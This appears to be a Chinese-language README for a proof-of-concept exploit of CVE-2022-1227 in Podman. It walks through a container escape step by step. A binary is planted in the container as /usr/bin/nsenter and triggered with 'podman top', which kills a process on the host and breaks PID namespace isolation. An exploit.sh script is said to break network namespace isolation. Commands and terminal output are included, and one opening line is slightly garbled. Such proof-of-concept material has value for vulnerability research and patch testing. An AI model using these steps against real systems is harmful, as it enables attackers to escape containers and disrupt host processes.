一个用于利用 CVE-2022-1227 的脚本。
20.10。4.0.0;推荐使用 3.4.4。TODO:添加此漏洞的原理说明
按照官方文档中的说明操作: https://podman.io/getting-started/installation#installing-on-linux
对于 Ubuntu 20.10,安装命令应为:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
在本节中,我们尝试一个简单的 PoC,突破 PID 命名空间 的边界,并 kill 主机上的一个进程。
步骤如下:
使用以下命令运行一个容器:podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
运行 ./exp/bin 中的 keep,并获取其运行时的 PID。通常它会在终端上显示其 PID。由于该二进制文件设置为休眠 600 秒,你可能需要快速完成后续步骤。
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
编辑 ./exp/src/sendsig.c 中的源代码,将上一步获取的 PID 填入变量 pid。
int pid = OLD_VAL;
改为
int pid = 7719;
将编译好的二进制文件放入 Podman 内部:podman cp ./exp/bin/sendsig $container_name:/usr/bin/nsenter
通过 podman top -l 运行 podman top 以触发漏洞。
如果一切顺利,正在运行的进程 keep 将立即被杀死。这很不寻常,因为通常情况下,由于 PID 命名空间隔离,容器内的进程无法向主机上的进程发送信号。
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed
在本节中,我们使用套接字实现容器内客户端与主机上服务器之间的进程间套接字通信,这在隔离机制完整时通常是不可能的。我们利用此漏洞突破网络命名空间的隔离来实现此利用。
首先,通过 cd ./exp 进入目录;
只需运行 ./exploit.sh,一切将自动完成;如果一切顺利,服务器将显示:
Hello from the container!
这意味着我们穿越了网络命名空间并实现了逃逸。